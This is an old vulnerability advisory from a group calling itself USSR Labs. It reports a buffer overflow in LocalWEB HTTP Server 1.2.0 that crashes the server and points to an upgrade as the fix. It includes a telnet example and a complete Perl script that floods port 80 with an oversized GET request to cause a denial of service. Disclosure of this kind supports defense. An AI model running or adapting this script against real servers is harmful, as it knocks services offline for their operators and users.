Remote DoS Attack in LocalWEB HTTP Server 1.2.0 Vulnerability

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Remote DoS Attack in LocalWEB HTTP Server 1.2.0 Vulnerability

"THE KING IS COMING"

USSR Advisory Code:  USSR-2000048

Release Date:
July 4, 2000

Systems Affected:
LocalWEB HTTP Server 1.2.0

THE PROBLEM

The Ussr Labs team has recently discovered a buffer overflow memory
problem in the LocalWEB HTTP Server.
What happens is by performing an attack with a malformed URL request
to port 80 it will cause the process containing the services to stop
responding.

SPECIAL NOTE: That we take no responsibility for this code it is for
educational purposes only.

Example:
The http Server (Port 80) service has an overflow in the GET command

[hellme () die-communitech net$ telnet example.com 80
Trying example.com...
Connected to example.com.
Escape character is '^]'.
GET /[buffer]

Where [buffer] is approx. 10000 characters, and the process containg
the service crashes

Code in Perl:
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#!/usr/bin/perl
#
# ./$0.pl -s <server>
#
# Malformed GET URL request DoS
#
use Getopt::Std;
use Socket;

getopts('s:', \%args);
if(!defined($args{s})){&usage;}

my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);

$foo = "A";                           # this is the NOP
$number = "10000";                    # this is the total number of NOP
$data .= $foo x $number;              # result of $foo times $number
$serv = $args{s};                     # remote server
$port =  80;                          # remote port, default is 80
$buf = "GET /$data HTTP/1.0\r\n\r\n"; # issue this response to the
server

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";

print("Data has been successfully sent to $serv\n");

sub usage {die("\n\n$0 -s <server>\n\n");}
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Vendor Status:
Informed!, Contacted

Fix:
Upgrade to 2.0 here: http://www.west-street.co.uk/download.htm

Vendor   Url: http://www.west-street.co.uk/
Program  Url: http://www.west-street.co.uk/localweb.htm

Related Links:

Underground Security Systems Research:
http://www.ussrback.com

CrunchSp Product:
http://www.crunchsp.com

Greetings:
Attrition, w00w00, beavuh, Rhino9, Synnergy.net, SecurityFocus.com,
ADM, HNC, #Synnergy (efnet),#hackphreak (efnet), Technotronic, RFP
and Wiretrip.

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